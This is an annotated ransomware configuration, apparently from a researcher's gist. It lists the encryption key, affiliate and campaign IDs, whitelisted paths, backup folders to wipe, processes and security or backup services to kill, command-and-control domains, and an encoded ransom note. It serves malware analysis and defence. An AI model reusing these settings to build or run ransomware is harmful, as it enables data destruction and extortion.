https://gist.githubusercontent.com/fwosar/a63e1249bfccb8395b961d3d780c0354/raw/312b2


```
{
  # Public key used for the campaign
  "pk": "9/AgyLvWEviWbvuayR2k0Q140e9LZJ5hwrmto/zCyFM=",
  # Unique ID to identify the affiliate
  "pid": "$2a$12$prOX/4eKl8zrpGSC5lnHPecevs5NOckOUW5r3s4JJYDnZZSghvBkq",
  # Campaign ID
  "sub": "8254",
  # Debug mode enabled
  "dbg": false,
  # Encryption type (0 means encrypt the whole file)
  "et": 0,
  # Wipe specified folders
  "wipe": true,
  # Whitelist
  "wht": {
    # Folder names to whitelist
    "fld": [
      "program files",
      "appdata",
      "mozilla",
      "$windows.~ws",
      "application data",
      "$windows.~bt",
      "google",
      "$recycle.bin",
      "windows.old",
      "programdata",
      "system volume information",
      "program files (x86)",
      "boot",
      "tor browser",
      "windows",
      "intel",
      "perflogs",
      "msocache"
    ],
    # File names to whitelist
    "fls": [
      "ntldr",
      "thumbs.db",
      "bootsect.bak",
      "autorun.inf",
      "ntuser.dat.log",
      "boot.ini",
      "iconcache.db",
      "bootfont.bin",
      "ntuser.dat",
      "ntuser.ini",
      "desktop.ini"
    ],
    # File extensions to whitelist
    "ext": [
      "ps1",
      "ldf",
      "lock",
      "theme",
      "msi",
      "sys",
      "wpx",
      "cpl",
      "adv",
      "msc",
      "scr",
      "bat",
```

```
      "key",
      "ico",
      "dll",
      "hta",
      "deskthemepack",
      "nomedia",
      "msu",
      "rtp",
      "msp",
      "idx",
      "ani",
      "386",
      "diagcfg",
      "bin",
      "mod",
      "ics",
      "com",
      "hlp",
      "spl",
      "nls",
      "cab",
      "exe",
      "diagpkg",
      "icl",
      "ocx",
      "rom",
      "prf",
      "themepack",
      "msstyles",
      "lnk",
      "icns",
      "mpa",
      "drv",
      "cur",
      "diagcab",
      "cmd",
      "shs"
    ]
  },
  # Folders to wipe
  "wfld": [
    "backup"
  ],
  # Processes to kill
  "prc": [
    "encsvc",
    "powerpnt",
    "ocssd",
    "steam",
    "isqlplussvc",
    "outlook",
    "sql",
    "ocomm",
    "agntsvc",
    "mspub",
    "onenote",
    "winword",
    "thebat",
    "excel",
    "mydesktopqos",
    "ocautoupds",
    "thunderbird",
    "synctime",
    "infopath",
    "mydesktopservice",
    "firefox",
    "oracle",
    "sqbcoreservice",
    "dbeng50",
    "tbirdconfig",
    "msaccess",
```

```
    "visio",
    "dbsnmp",
    "wordpad",
    "xfssvccon"
  ],
  # Command & control domains
  "dmn": "boisehosting.net;fotoideaymedia.es;dubnew.com;stallbyggen.se;koken-voor-baby.nl;juneauopioidworkgrou
  # Should system information be sent to C2 server
  "net": false,
  # Services to stop and delete
  "svc": [
    "veeam",
    "memtas",
    "sql",
    "backup",
    "vss",
    "sophos",
    "svc$",
    "mepocs"
  ],
  # Ransom note body encoded as BASE64
  "nbody": "LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD0APQA9AC0ALQAtAA0ACgANAAoAWwAtAF0AIA
  # Ransom note name
  "nname": "{EXT}-readme.txt",
  # Indicated whether it will try to elevate privileges through exploits
  "exp": false,
  # Ransom note wallpaper base image
  "img": "QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgB
  # Indicates whether or not to create an autorun entry to establish persistence
  "arn": false,
  # Number of folders the ransom note gets written to, 0 meaning all folders
  "rdmcnt": 0
}
```
